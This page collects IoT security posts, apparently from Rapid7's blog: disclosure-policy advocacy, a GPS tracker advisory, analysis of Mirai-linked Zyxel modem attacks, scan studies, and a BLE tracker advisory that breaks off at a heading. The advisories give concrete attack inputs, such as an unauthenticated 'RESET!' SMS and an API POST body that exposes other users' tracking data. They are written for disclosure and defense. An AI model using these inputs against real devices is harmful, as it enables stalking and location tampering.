Skip navigation
All Places > Information Security > Blog > Tags iot
1 2 3 Previous Next

Information Security

746 Posts tagged with the iot tag

Rapid7 has long been a champion of coordinated vulnerability disclosure and handling processes as they play a critical role in both strengthening risk management practices and protecting security researchers. We not only use coordinated disclosure processes in our own vulnerability disclosure and receiving activities, but also advocate for broader adoption in industry and in government policies.


Building on this, we recently joined forces with other members of the security community to urge NIST and NTIA (both part of the U.S. Dept. of Commerce) to promote adoption of coordinated vulnerability disclosure processes. In each of these two most recent filings, Rapid7 was joined by a coalition of approximately two dozen (!!) like-minded cybersecurity firms, civil society organizations, and individual researchers.


  • Joint comments to the National Institute of Standards and Technology (NIST) Cybersecurity Framework, available here.


  • Joint comments to the National Telecommunications and Information Administration's (NTIA) "Green Paper" on the Internet of Things, available here.


The goal of the comments is for these agencies to incorporate coordinated vulnerability disclosure and handling processes into official policy positions on IoT security (in the case of NTIA) and cybersecurity guidance to other organizations (in the case of NIST). We hope this ultimately translates to broader adoption of these processes by both companies and government agencies.


What are "vuln disclosure processes" and why are they important?

Okay, first off, I really hope infosec vernacular evolves to come up with a better term than "coordinated vulnerability disclosure and handling processes" because boy that's a mouthful. But it appears to be the generally agreed-upon term.


A coordinated vulnerability disclosure and handling process is basically an organization's plan for dealing with security vulnerabilities disclosed from outside the organization. They are formal internal mechanisms for receiving, assessing, and mitigating security vulnerabilities submitted by external sources, such as independent researchers, and communicating the outcome to the vulnerability reporter and affected parties. These processes are easy to establish (relative to many other security measures) and may be tailored for an organizations' unique needs and resources. Coordinated vulnerability disclosure and handling processes are not necessarily "bug bounty programs" and may or may not offer incentives, or a guarantee of protection against liability, to vulnerability reporters.


Why are these processes important? The quantity, diversity, and complexity of vulnerabilities will prevent many organizations from detecting all vulnerabilities without independent expertise or manpower. When companies are contacted about vulnerabilities in their products or IT from unsolicited third parties, having a plan in place to get the information to the right people will lead to a quicker resolution. Security researchers disclosing vulnerabilities are also better protected when companies clarify a process for receiving, analyzing, and responding to the disclosures – being prepared helps avoid misunderstandings or fear that can lead to legal threats or conflicts.


To catch vulnerabilities they might otherwise overlook, businesses and government agencies are increasingly implementing vulnerability disclosure and handling processes, but widespread adoption is not yet the norm.


NIST Framework comments

The NIST Framework is a voluntary guidance document for organizations for managing cybersecurity risks. The Framework has seen growing adoption and recognition, and is an increasingly important resource that helps shape cybersecurity implementation in the public and private sectors. NIST proposed revisions to the Framework and solicited comments to the revisions.


In our joint comments, the coalition urged NIST to expressly incorporate vulnerability disclosure processes into the Framework. The Framework already included "external participation" components and metrics (likely directed at formal cyber threat intel sharing arrangements), but they are unclear and don't explicitly refer to vulnerability disclosure processes.


Specifically, our comments recommended that the Framework Core include a new subcategory dedicated to vulnerability disclosure processes, and to build the processes into existing subcategories on risk assessment and third party awareness. Our comments also recommended revising the "external participation" metric of the Framework Tiers to lay out a basic maturity model for vulnerability disclosure processes.


NTIA Internet of Things "Green Paper" comments

NTIA issued a “Green Paper” in late 2016 to detail its overall policies with regard to the Internet of Things, and then they solicited feedback and comments on that draft. Although the Dept. of Commerce has demonstrated its support for vulnerability disclosure and handling processes, there was little discussion about this issue in the Green Paper. The Green Paper is important because it will set the general policy agenda and priorities for the Dept. of Commerce on the Internet of Things (IoT).


In our joint comments, the coalition urged NTIA to include more comprehensive discussion vulnerability disclosure and handling processes for IoT. This will help clarify and emphasize the role of vulnerability disclosure in the Dept. of Commerce's policies on IoT security going forward.


The comments also urged NTIA to commit to actively encouraging IoT vendors to adopt vulnerability disclosure and handling processes. The Green Paper mentioned NTIA's ongoing "multistakeholder process" on vulnerability disclosure guidelines, which Rapid7 participates in, but the Green Paper did not discuss any upcoming plans for promoting adoption of vulnerability disclosure and handling processes. Our comments recommended that NTIA promote adoption among companies and government agencies in IoT-related sectors, as well as work to incorporate the processes into security guidance documents.


More coming

Rapid7 is dedicated to strengthening cybersecurity for organizations, protecting consumers, and empowering the independent security research community to safely disclose vulnerabilities they've discovered. All these goals come together on the issue of coordinated vulnerability disclosure processes. As we increasingly depend on complex and flawed software and systems, we must pave the way for greater community participation in security. Facilitating communication between technology providers and operators and independent researchers is an important step toward greater collaboration aimed at keeping users safe.


Rapid7 is thrilled to be working with so many companies, groups, and individuals to advance vulnerability disclosure and handling processes. As government agencies consider how cybersecurity fits into their missions, and how to advise the public and private sectors on what to do to best protect themselves, we expect more opportunities to come.


You can learn more about our policy engagement efforts on Rapid7's public policy page.

Seven issues were identified with the Eview EV-07S GPS tracker, which can allow an unauthenticated attacker to identify deployed devices, remotely reset devices, learn GPS location data, and modify GPS data. Those issues are briefly summarized on the table below.


These issues were discovered by Deral Heiland of Rapid7, Inc., and this advisory was prepared in accordance with Rapid7's disclosure policy.


Vulnerability DescriptionR7 IDCVEExploit Vector
Unauthenticated remote factory resetR7-2016-28.1CVE-2017-5237Phone number
Remote device identificationR7-2016-28.2



Phone number range
Lack of configuration bounds checksR7-2016-28.3CVE-2017-5238Phone number
Unauthenticated access to user dataR7-2016-28.4


(server-side issue)

Web application
Authenticated user access to other users' dataR7-2016-28.5


(server-side issue)

Web application user account
Sensitive information transmitted in cleartextR7-2016-28.6CVE-2017-5239Man-in-the-Middle (MitM) Network
Web application data poisoningR7-2016-28.7


(server-side issue)

Web application


Product Description

The EV-07S is a personal GPS tracker device used for personal safety and security, described at the vendor's website as being primarily intended for tracking elderly family members; disabled and patient care; child protection; employee management; and pet and animal tracking. Test devices were acquired from Eview directly, and an example is shown below in Figure 1.


Figure 1: The EV-07S personal GPS tracker device


R7-2016-28.1: Unauthenticated remote factory reset

Given knowledge of the EV-07S's registered phone number, the EV-07S device can be reset to factory level setting by sending "RESET!" as a command in an SMS message to the device. Only the phone number is required; no password or physical access is required to accomplish this task. After a factory reset, the device can then be reconfigured remotely via SMS messages without need of password. The product manual states this functionality, so it appears to be a fundamental design flaw with regard to secure configuration.


Mitigation for R7-2016-28.1

A vendor-supplied patch should prevent the device from allowing unauthenticated factory reset without having physical access to the device.


Absent a patch, users should regularly check their device to ensure the configuration has not be deleted or altered.


R7-2016-28.2: Remote device identification

The EV-07S device, once set up with a password, should not respond to any SMS queries sent to the device's phone number. According to the user manual, no password is needed to send "reboot" and "RESET!" commands to the device. Testing showed, in spite of user manual statement, that the "reboot" command required a password if device is set up for authentication. Further manual fuzzing test via SMS reveled that the command "REBOOT!" will cause the device to respond with the message "Format error!".


Due to providing this negative response, a malicious actor could use this command to enumerate all devices by trying all likely phone numbers, commonly known as a war dialing operation, using SMS messages containing the "REBOOT!" command.



Figure 2: SMS command response on password protected device


Mitigation for R7-2016-28.2

A vendor-supplied patch should disable the response from the "REBOOT!" command when password protection is enabled.


R7-2016-28.3: Lack of configuration bounds checks

Several input configuration fields were discovered to not be performing proper bounds checks on incoming SMS messages. If a device's phone number is known to an attacker, this lack of bounds checking allows the overly long input of one configuration setting to overwrite data of another setting. An example of this is shown in Figure 3, where the "Authorized Number" setting A1 is used to overwrite setting B1:



Figure 3: Configuration Setting Overflow Via SMS Message


Mitigation for R7-2016-28.3

A vendor-supplied patch should implement bounds checks and input sanitization on all entered configuration data.


Absent a vendor-supplied patch, users should be mindful of entering any values of excessive length. In the case with Authorized Number setting anything over 20 characters will overwrite the next setting in line.


R7-2016-28.4: Unauthenticated access to user data

A malicious actor can gain access to user data including account name, TrackerID and device IMEI id. This is done by posting userId=5XXXX&trackerName=&type=allTrackers with a the target's userID number to the API  at .  An example of this shown below in Figure 4:



Figure 4: HTTP post to gain access to user data


Given the small keyspace involved with guessing valid user IDs of 5 digits, it appears trivial to determine all valid user IDs.


Mitigation for R7-2016-28.4

A vendor-supplied patch on the vendor web application should prevent unauthenticated access to individual user data.


Absent a vendor-supplied patch, users should be careful when trusting the realtime tracking services with their device.


R7-2016-28.5: Authenticated access to other users' data

An authenticated user can gain access to others users configuration and device GPS data if they know or guess a valid userId, device IMEI or TrackerID. The following three examples (Figures 5 through 7) show this level of access from one authenticated account being able to access another account's data.



Figure 5: Access to another user's configuration data



Figure 6: Access to Another users Device GPS Data



Figure 7: Access to Another Users GPS Tracker Configuration


Mitigation for R7-2016-28.5

A vendor-supplied patch should prevent access to other users data.


Absent a vendor-supplied patch, users should be careful when trusting the realtime tracking services with their device.


R7-2016-28.6:  Sensitive information transmitted in cleartext

The web application used for realtime tracking web application, hosted at , does not utilize SSL/TLS encryption for HTTP services. Also the EV-07S device passes IMEI and GPS data to this website over the Internet on TCP port 5050 without any encryption. An example of this captured unencrypted data is show below in Figure 8:



Figure 8: Unencrypted Transfer of Information From Device Over Port 5050


Mitigation for R7-2016-28.6

A vendor-supplied patch on both the server and the client should enable encrypted transfer of data to website, as well as an update of the website to enable HTTPS service and serve these pages only over HTTPS.


Absent a vendor-supplied patch, users should be careful when trusting the realtime tracking services with their device.


R7-2016-28.7:  Data poisoning

An unauthenticated attacker can poison the realtime tracking data by injecting device data similar to the data structure shown above in Figure 8 to the server at over TCP port 5050. The attacker can do this only if they know a device's IMEI number, but that data is learnable through mechanisms described above.


An example of this is shown in Figure 9, where the device's realtime tracking data was poisoned to make the device appear to be Moscow, Russia (it was not).



Figure 9: Real time tracking data poisoned


Mitigation for R7-2016-28.7

A vendor-supplied patch should enable authentication before allowing device data to be posted to the site on TCP port 5050.


Absent a vendor-supplied patch, users should be careful when trusting the realtime tracking services with their device.


Disclosure Timeline

  • Mon, Dec 12, 2016: Initial contact made to the vendor.
  • Tue, Dec 20, 2016: Vendor responded and details provided to
  • Tue, Dec 27, 2016: Disclosure to CERT/CC, VU#375851 assigned.
  • Wed, Mar 08, 2017: CVEs assigned in conjunction with CERT/CC.
  • Mon, Mar 27, 2017: Vulnerability disclosure published.

Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we’re highlighting some of the “gifts” we want to give back to the community. And while these gifts may not come wrapped with a bow, we hope you enjoy them.


On the seventh day of Haxmas, the Cyber gave to me: a list of seven Rapid7 comments to government policy proposals! Oh, tis a magical season.


It was an active 2016 for Rapid7's policy team. When government agencies and commissions proposed rules or guidelines affecting security, we often submitted formal "comments" advocating for sound cybersecurity policies and greater protection of security researchers. These comments are typically a cross-team effort, reflecting the input of our policy, technical, industry experts, and submitted with the goal of helping government better protect users and researchers and advance a strong cybersecurity ecosystem.


Below is an overview of the comments we submitted over the past year. This list does not encompass the entirety of our engagement with government bodies, only the formal written comments we issued in 2016. Without further ado:


1.     Comments to the National Institute for Standards and Technology (NIST), Feb. 23: NIST asked for public feedback on its Cybersecurity Framework for Improving Critical Infrastructure Cybersecurity. The Framework is a great starting point for developing risk-based cybersecurity programs, and Rapid7's comments expressed support for the Framework. Our comments also urged updates to better account for user-based attacks and ransomware, to include vulnerability disclosure and handling policies, and to expand the Framework beyond critical infrastructure. We also urged NIST to encourage greater use of multi-factor authrntication and more productive information sharing. Our comments are available here [PDF]: amework-022316.pdf


2.     Comments to the Copyright Office, Mar. 3: The Copyright Office asked for input on its (forthcoming) study of Section 1201 of the DMCA. Teaming up with Bugcrowd and HackerOne, Rapid7 submitted comments that detailed how Section 1201 creates liability for good faith security researchers without protecting copyright, and suggested specific reforms to improve the Copyright Office's process of creating exemptions to Section 1201. Our comments are available here [PDF]: -joint-comments-to-us-copyright-office-s…


3.     Comments to the Food and Drug Administration (FDA), Apr. 25: The FDA requested comments for its postmarket guidance for cybersecurity of medical devices. Rapid7 submitted comments praising the FDA's holistic view of the cybersecurity lifecycle, use of the NIST Framework, and recommendation that companies adopt vulnerability disclosure policies. Rapid7's comments urged FDA guidance to include more objective risk assessment and more robust security update guidelines. Our comments are available here [PDF]: ft-guidance-for-postmarket-management-of…


4.     Comments to the Dept. of Commerce's National Telecommunications and Information Administration (NTIA), Jun. 1: NTIA asked for public comments for its (forthcoming) "green paper" examining a wide range of policy issues related to the Internet of Things. Rapid7's comprehensive comments detailed – among other things – specific technical and policy challenges for IoT security, including insufficient update practices, unclear device ownership, opaque supply chains, the need for security researchers, and the role of strong encryption. Our comments are available here [PDF]: ternet-of-things-rfc-060116.pdf


5.     Comments to the President's Commission on Enhancing National Security (CENC), Sep. 9: The CENC solicited comments as it drafted its comprehensive report on steps the government can take to improve cybersecurity in the next few years. Rapid7's comments urged the government to focus on known vulnerabilities in critical infrastructure, protect strong encryption from mandates to weaken it, leverage independent security researchers as a workforce, encourage adoption of vulnerability disclosure and handling policies, promote multi-factor authentication, and support formal rules for government disclosure of vulnerabilities. Our comments are available here [PDF]: i-090916.pdf


6.     Comments to the Copyright Office, Oct. 28: The Copyright Office asked for additional comments on its (forthcoming) study of Section 1201 reforms. This round of comments focused on recommending specific statutory changes to the DMCA to better protect researchers from liability for good faith security research that does not infringe on copyright. Rapid7 submitted these comments jointly with Bugcrowd, HackerOne, and Luta Security. The comments are available here [PDF]: luta-security-joint-comments-to-copyrigh…


7.     Comments to the National Highway Traffic Safety Administration (NHTSA), Nov. 30: NHTSA asked for comments on its voluntary best practices for vehicle cybersecurity. Rapid7's comments recommended that the best practices prioritize security updating, encourage automakers to be transparent about cybersecurity features, and tie vulnerability disclosure and reporting policies to standards that facilitate positive interaction between researchers and vendors. Our comments are available here [PDF]: ybersecurity-best-practices-for-modern-v…



2017 is shaping up to be an exciting year for cybersecurity policy. The past year made cybersecurity issues even more mainstream, and comments on proposed rules laid a lot of intellectual groundwork for helpful changes that can bolster security and safety. We are looking forward to keeping up the drumbeat for the security community next year. Happy Holidays, and best wishes for a good 2017 to you!

by Tod Beardsley and Bob Rudis


What's Going On?


Early in November, a vulnerability was disclosed affecting Zyxel DSL modems, which are rebranded and distributed to many DSL broadband customers across Europe. Approximately 19 days later, this vulnerability was leveraged in widespread attacks across the Internet, apparently connected with a new round of Mirai botnet activity.


If you are a DSL broadband customer, you can check to see if your external TCP port 7547 is accessible to the Internet by using popular public portscanning services provided by WhatsMyIP, SpeedGuide, or your own favorite public portscanning service. If it is, your ISP should be able to confirm if your modem is vulnerable to this attack.


Vulnerability Details


On November 7, "Kenzo" disclosed two vulnerabilities affecting the Zyxel D1000 DSL modem on the Reverse Engineering blog, here. This DSL modem is used by residential DSL subscribers in Ireland, and appears to be distributed by the Irish ISP, Eir. It's unknown if Kenzo disclosed these issues to either Zyxel or Eir prior to public disclosure.


Two issues were identified, both involving the TR-064 SOAP service on the DSL modem, running on TCP port 7547. The first is a command injection vulnerability in the way the device parses new NTP server configurations, where an attacker can enclose an arbitrary shell command in backticks when setting the NewNTPServer1 parameter. The second is an information leak vulnerability where an attacker can access the GetSecurityKeys command to learn the device's WiFi and administrative password.


Kenzo provided a proof-of-concept Metasploit module to exercise these vulnerabilities to expose the administrative web service on the Internet-facing side of the modem and to extract the administrative password to that admin web service.


On November 26th, the command injection issue was being actively exploited in the wild, apparently as part of another wave of Mirai-style IoT botnet activity. In particular, DSL modems provided to Deutsche Telekom customers in Germany and Austria, under the brandname "Speedport," appeared to be vulnerable. As a result of this attack, many Telekom subscribers were knocked offline on November 27th, and DT has since updated the Speedport firmware.


Today, on November 29th, the Metasploit open source project has started work on converting Kenzo's original, special purpose proof-of-concept exploit to a more generally useful Metasploit module that can be used to test the vulnerability in a safer and more controlled way. That work continues on Pull Request #7626.


Exploit Activity Details




Rapid7’s Heisenberg Cloud started picking up malicious SOAP HTTP POST requests to port 7547 on November 26th. We were able to pick up these requests due to the “spray and pray” nature of the bots searching for vulnerable targets. To-date, we’ve seen over 63,000 unique source IP addresses associated with these attempts to take over the routers, peaking at over 35,000 unique attempts per day on November 27th.


As the map below shows, the bots attempting to take over the routers are geographically dispersed.



As the below temporal flow diagram shows, different regions are more prevalent as sources of this activity on different days (the source regions are on the left, the days they were active are on the right).



There was little change in the top 10 source countries (by unique node count) over the attack period, but some definitely stood out more than others (like Brazil and the U.K.).


We’ve also seen all malicious payload types, though not all of them appeared on all days as seen in the third chart.




Not all payloads were evenly distributed across all countries:




What Can You Do to Protect Yourself?


The vulnerabilities being exploited in these attack are present in Zyxel DSL modems, which are commonly used in European and South American consumer markets, and may be rebranded by regional ISPs, as they are for Eir and Deutsche Telekom. The vulnerabilities described do not appear to affect the cable modems commonly used in the United States.


If you are a DSL customer and concerned that you may be vulnerable, you can use popular portscanning services provided by WhatsMyIP, SpeedGuide, or others to assess if your external TCP port 7547 is accessible from the Internet. If the port times out or is otherwise not reachable, you're in the clear. If it is accessible, you should contact your ISP to see if a) this can be restricted, and b) if you are running a vulnerable device.


For ISPs, it is A Bad Idea to expose either TR-069 or TR-064 services to arbitrary sources on the Internet; while ISPs may need access to this port to perform routine configuration maintenance on customer equipment, it should be possible for local and edge firewall rules to restrict access to this port to only IP addresses that originate from the ISP's management network.


Meanwhile, penetration testers should follow the progress of converting Kenzo's original proof-of-concept to a fully functional Metasploit module over at Pull Request #7626 on Metasploit's GitHub repository. If you are an open source security software developer, we'd love to have your input there.


Update (2016-Nov-30): This blog post originally referred to the vulnerable service as TR-069, but it's since become clear this issue is in a related service, TR-064.

In early 2015, HD Moore performed one of the first publicly accessible research related to Internet-connected gas station tank gauges, The Internet of Gas Station Tank Gauges.


Later that same year, I did a follow-up study that probed a little deeper in The Internet of Gas Station Tank Gauges -- Take #2. As part of that study, we were attempting to see if the exposure of these devices changed in the ~10 months since our initial study as well as probe a little bit deeper to see if there were affected devices that we missed in the initial study due to the study's primitive inspection capabilities at the time. Somewhat unsurprisingly, the answer was no, things hadn't really changed, and even with the additional inspection capabilities we didn't see a wild swing that would be any cause for alarm.


Recently, we decided to blow the dust off this study and re-run it for old-time's sake in the event that things had taken a wild swing in either direction or if other interesting patterns could be derived.  Again, we found very little changed.


Not-ATGs and the Signal to Noise Ratio


What is often overlooked in studies like this is the signal to noise ratio seen in the results, the "signal" being protocol responses you expect to see and the "noise" being responses that are a bit unexpected.  For example, finding SSH servers running on HTTP ports, typically TCP-only services being crudely crammed over UDP, and gobs of unknown, intriguing responses that will keep researchers busy chasing down explanations for years.


These ATG studies were no exception.




In most recent zmap TCP SYN scan done against port 10001 on November 3, 2016, we found nearly 3.4 million endpoints responding as open. Of those, we had difficulty sending our ATG-specific probes to over 2.8 million endpoints -- some encountered socket level errors, others simply received no responses. It is likely that a large portion of these responses, or lack thereof, are due to devices such as tar-pits, IDS/IPS, etc. The majority of the remaining endpoints appear to be a smattering of HTTP, FTP, SSH and other common services run on odd ports for one reason or another.  And last but not least are a measly couple of thousand ATGs.


I hope to explore the signal and noise related problems related to Internet Scanning in a future post.


Future ATG Research and Scan Data


We believe that is important to be transparent with as much of our research as possible.  Even if a particular research path we take ends up a dead, boring end, by publishing our process and what we did (or didn't) find might help a future wayward researcher who ends up in this particular neck of research navigate accordingly.


With that said, this is likely to be our last post related to ATGs unless new research/ideas arise or interesting swings in results occur in future studies. Is there more to be done here?  Absolutely!  Possible areas for future research include:


  • Are there additional commands that exposed ATGs might support that provide data that is worth researching, for security or otherwise?
  • Are there other services exposed on these ATGs?  What are the security implications?
  • Are there advancements to be made on the offensive or defensive side relating to ATGs and related technologies?


We have published the raw zmap TCP scan results for all of the ATG studies we've done to date here.  We have also started conducting these studies on a monthly basis and these runs will automatically upload to when complete.


As usual, thanks for reading, and we welcome your feedback, comments, criticisms, ideas or collaboration requests here as a comment or by reaching out to us at



Let me tell you a story….

…a few months ago, I was going home from an airport in an Uber with my wife. We recently bought a house and were looking for some renovation work and discussing few ideas on the way. The very next day, I received a call from an unknown number—the caller said “Hello Mr. Dutta, I am [caller’s name] calling from [company name]. I would love to discuss the home renovation project you are planning to undertake in your home”. At this point his words started blurring as my mind was racing in different direction on how did this guy know all these details? Was it the city that informed them? Was it UBER? The timing was crazy! That got me thinking…


Security and usability

Everyone loves UBER. It’s quite easy to hail an UBER at a tap. But can UBER be a privacy risk? Can we say that for a better experience and usability, my privacy can be compromised?


I started digging deep into this relation. I realized that in websites when security measures like CAPTCHA are added, it makes the website more secure, but the conversation rates for those websites drop significantly as usability is reduced.


Looking at health care systems, in certain types of insulin pumps, a physician has all the vital information, including the patient’s blood glucose level, the moment a patient steps into the clinic. To enable this, the insulin pump has an always-on Bluetooth sensor. This convenience comes at the cost of high security risk, where it’s possible to tamper with the device remotelywith serious consequences.


Finding a balance

Such examples make us believe that security and usability are two antagonistic goals within system design. Simson Garfinkel, in his doctoral thesis at MIT, argued that there are many instances within which security and usability can be synergistically improved. This is possible by revising the way that specific functionality is implemented in many of today’s operating systems and applications. Garfinkel further explains that in every case considered, it is shown that the perceived antagonism of security and usability can be scaled back or eliminated by revising the underlying designs on which modern systems are conceived. The errors in system design, computer user interfaces, and interaction design can lead to common errors in secure operation.


By identifying and correcting these errors, users can naturally and automatically experience more secure operation. For instance, an emerging area is Internet of Things (IoT) devices—this area can benefit hugely from an established set of patterns/ rules/ framework which is optimized for security operations.


Widespread attacks

In September 2016, we saw a record-breaking Distributed Denial of Service (DDoS) attacks against the France-based hosting provider OVH. That attack reached over one Terabit per second (1 Tbps), and was carried out via a botnet of infected 150000 IoT devices. Less than a month later, a massive and sustained Internet attack caused outages and network congestion for a large number of web sites. This attack was launched with the help of hacked IoT devices, such as CCTV video cameras and digital video recorders, and impacted websites from high-profile organizations, including Twitter, Amazon, Tumblr, Reddit, Spotify and Netflix.


Mirai”, which was used to hijack the connected IoT devices, exploited the default usernames and passwords set by the factory before the devices are shipped to customers. Mirai is capable of launching HTTP floods, as well as various network DDoS attacks, including DNS floods, UDP floods, SYN and ACK floods, GRE IP and GRE ETH floods, STOMP (Simple Text Oriented Message Protocol) flood attacks.


Securing usable IoT and making secure IoT usable

While such incidents are scary, IoT devices are awesome!!! They make our lives easier. The potential for IoT is limitless. However, while security is a potential risk, we cannot afford to seize the opportunity to exploit IoT capabilities to its fullest.  What we need is discipline—some kind of governance or rule book on how to securely use these products.


Garfinkel refers to them as simple patterns.Developers and the organizations that employ them must analyze their risks, the cost of proposed security measures, and the anticipated benefits. Be it security or usability, neither should be added to a system as an afterthought. Instead, security and usability must be designed into systems from the beginning. By providing pre-packaged solutions to common design problems, patterns can address this deficit.


A great example of a Usability Pattern is “Copy and Paste” or “Drag and Drop” that have dramatically changed the usability of computer systems. Similarly, Security Patterns, such as using the Secure Socket Layer (SSL) to “wrap” cleartext protocols and Email-Based Identification and Authentication for resetting passwords, have allowed developers untrained in security to increase the security of their systems. Patterns that align security and usability of IOT devices can create that much-needed rule book for the IoT developers.


I want to leave you all with the thoughts that IoT systems must be viewed as socio-technical systems that depend on the social context in which they are embedded to function correctly. The security mechanisms will only be able to provide the intended protection when people actually understand and are able to use them correctly.


You can further read about independent IoT research complied by Tod Beardsley here, and read about danger of default passwords in IoT by Deral Heiland here.


Thank you for reading!


Saurabh Dutta,
Director of UX, Rapid7

Deral Heiland

Research Lead (IoT)

Posted by Deral Heiland Employee Nov 1, 2016

It has been an amazing journey serving as the Research Lead for the Internet of Things (IoT) at Rapid7 for past 10 months. I came into the role with more than a decade of experience as a security penetration tester and nearly 15 years of experience conducting security research across such areas as protocol based attacks, embedded device exploitation, and web vulnerabilities, so taking on the role, as Research Lead for IoT was the next obvious progression for me. Being able to focus on IoT specifically has made this job more fun and exciting.

Internet of Things - IoT - Rapid7.jpg


So why the focus on IoT research? IoT, while driving significant productivity gains for businesses and consumers, has become the wild west of technology, creating a number of security challenges for all of us. By creating a focused effort in IoT research we can better serve our customers and the security community at large by sharing the knowledge we gain during these efforts. Rapid7’s mission is to empower IT and Security to effectively and safely design, build and deploy technology innovation, and we see IoT as a major driver of innovation across industries. IoT is expected to hit over 20 billion connected devices by the end of the decade, and I anticipate it will also continue to be an ever-changing area of risk. A focused effort is critical to better securing our new IoT driven world.


I plan to take the opportunity this role has provided to help forge a path that will add value to the security community at large. For example, my research over the last 10 months has focused on examining a number of IoT technologies from enterprise to consumer-based products, exposing a number of vulnerabilities in their ecosystems. During these research projects we have successfully worked with a number of IoT manufacturers to help them better secure their products and, very importantly, helped them to expand their working knowledge in the area of security. The knowledge gained from these research projects has done more than just uncover vulnerability exposures, it has also helped us shape, identify and develop an understanding of issues plaguing IoT. Additionally, we have been given the opportunity to work with a number of customers, manufacturers and organizations to help better define methods around mitigating security issues related to IoT.


Moving forward I am very excited about the opportunities this research role will provide, allowing me to continue to expand my knowledge and understanding in all areas of IoT security. I plan to continue focusing our research efforts across multiple areas of the IoT discipline, including consumer, enterprise, medical, and industrial. Combined with all the IoT research efforts currently being conducted across Rapid7, we plan to work closely with our customers, IoT manufacturers and the security community at large to continue advancing our knowledge and expertise to better secure the new IoT driven world.  Combined with our Strategic Services offering, we are able to extend this knowledge to a wider number of organizations seeking to make the Internet of Things more secure and resilient.

So there's this Thing...


We need to talk about Things, you and I. Specifically those connected Things. This isn’t a weird breakup discussion

regarding a relationship you didn’t know we had (I hear that’s called stalking actually, and is an altogether different type of problem). There may be Things on your network that are harbouring a security issue, and that’s not a good place to be either. We can help you track them down (which does bear a slight resemblance to stalking, granted, but we’re security people and they’re just Things so it’s allowed).



Mirai - definitely not a Vision of Love

A recent DNS attack sent parts of the Internet into temporary meltdown – not just because our ability to share cat videos and food pictures was impeded. It became apparent that there’s a new kid in town – the Mirai botnet – which takes advantage of weak security in IoT devices. Default credentials are not the internet’s friend.


Now, there are plenty of good articles already available for you to read about the technicalities of the Mirai botnet, including this blog post from the highly distinguished Mr Tod Beardsley – so I’m not going to rewrite an already well authored wordy wheel, but like I said earlier we do have something cool for you to find out if you have Things on your own network that could pose a risk.


IoTSeeker – it does exactly what it says on the package!

So without further ado, I’d like to introduce you to IoTSeeker – a tool created by the incredibly smart folks on the Metasploit engineering team. IoTSeeker allows you to hunt down IoT devices which are languishing in your eco-system poorly configured with the same creds that they were born with. It’s nice and simple to use, and the scan output (example below) provides you with a list of Things and an indicator as to whether they need re-configuring to be in a more secure state.

IoTSeeker output identifying vulnerable IoT devices on network


To run this tool you’ll need to be on a Mac OS or a Linux OS, as IoTSeeker uses the perl module AnyEvent for high parallelism – which essentially means you can quickly scan A LOT of IPs. It’s free, because we’re nice like that, and we plan to keep updating it to include new Things that could be a problem. The steps on how to use IoTSeeker are available when you download the tool – and unless you have the attention span of an ADHD goldfish in a barrel full of squirrels, you’ll be up and scanning in a minute or so, it really is that simple.


A very important note: this tool is provided for you to only scan assets for which you have administrative responsibility.


Download the IoTSeeker here.


Feedback welcomed, and happy Thing Seeking!

Executive Summary


While examining the functionality of three vendors' device tracker products, a number of issues surfaced that leak personally identifying geolocation data to unauthorized third parties. Attackers can leverage these vulnerabilities to locate individual users' devices, and in some cases, alter geolocation data for those devices. The table below briefly summarizes the twelve vulnerabilities identified across three products.






Cleartext Password

TrackR Bravo



Tracking ID Exposed

TrackR Bravo



Unauthenticated Access

TrackR Bravo



Unauthenticated Pairing

TrackR Bravo



Tracking ID Exposed

iTrack Easy



Duplicate Registration

iTrack Easy



Unauthenticated Modification

iTrack Easy



Weak Session Management

iTrack Easy



Base64 Encoded Password

iTrack Easy



Cleartext Password

Zizai Tech Nut



Session Token Leaked

Zizai Tech Nut



Unauthenticated Pairing

Zizai Tech Nut






These issues were discovered by Deral Heiland and Adam Compton of Rapid7, Inc. and disclosed in accordance with Rapid7's disclosure policy.


Product Description


Bluetooth Low Energy (BLE) device trackers are small hardware tokens that are designed to be attached to personal items such as keyrings, wallets, or purses. These devices pair with the user's smartphone via Bluetooth, and can alert the user when the device moves out of range. The tracking hardware tokens themselves do not maintain network connections, but rely on associated smartphone apps to report geolocation data.


The devices examined were the TrackR Bravo from TrackR, the iTrack Easy from, and the Nut from Zizai Tech. The Tile from TILE, Inc. was also examined, but none of these issues were discovered with this product, aside from a minor screenshot caching issue which does not appear to reveal private information.


Vulnerability Details


For each product, vulnerability details and possible mitigations are discussed below. Users concerned about these issues should reach out to their respective vendors using their normal support mechanisms, and update their mobile applications when fixes are released.


Until vendor-supplied fixes are available, the risks associated with these vulnerabilities should be weighed against the benefits of continuing to use these tracker devices and applications.


Most of the vulnerabilities described are only exploitable by an adversary who is in close physical proximity to the affected devices; the effective range of an exploit is noted on the summary table for each vendor.

R7-2016-18: Multiple Vulnerabilities in Trackr Bravo






Cleartext Password



Local Device

Tracking ID Exposed




Unauthenticated Access




Unauthenticated Pairing





The TrackR mobile app also caches screenshots when minimized; while no critical information appears to be exposed in this way, it is a best practice to clear unique data and use a generic application image for context switching.

R7-2016-18.1: Cleartext Password (CVE-2016-6538)

Examination of the TrackR Bravo mobile application running on an iPad revealed that the account password used to authenticate to the cloud API was stored in cleartext in the cache.db. Examining the cache.db file reveals the cleartext password as shown in Figure 1.

TrackR cleartext password_Fig 1.pngGiven typical user habits of password reuse, this sort of password disclosure can impact other online services.


Mitigation for R7-2016-18.1

A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information such as passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires device authentication.


Users are strongly advised to avoid reusing passwords between services whenever possible in order to limit the damaging effects of accidental or intentional exposure of account credentials.


R7-2016-18.2: Device Tracking ID Exposed (CVE-2016-6539)

The TrackR device ID can be obtained by being in close proximity to a TrackR device and utilizing a Bluetooth low energy (BLE) application to monitor for BLE devices. The TrackR ID is the manufacturer device ID, which is constructed of a manufacture identifier of four zeroes (0000), followed by the BLE MAC address in reverse (0f7c-XXXXXXd9) for a combined TrackR ID of 00000f7c-XXXXXXd9. This is shown in Figure 2.


TrackR device ID_Fig 2.png

Mitigation for R7-2016-18.2

A vendor-supplied patch should change the tracker ID so that is not directly related to the manufacturer device ID, nor the device's BLE MAC address.


Absent a vendor-supplied patch, users should be mindful of when they use the TrackR device in public spaces, as this ID can be reused on the cloud-hosted service to track devices (and therefore, the user) remotely as described in R7-2016-18.3.


R7-2016-18.3: Unauthenticated Access (CVE-2016-6540)

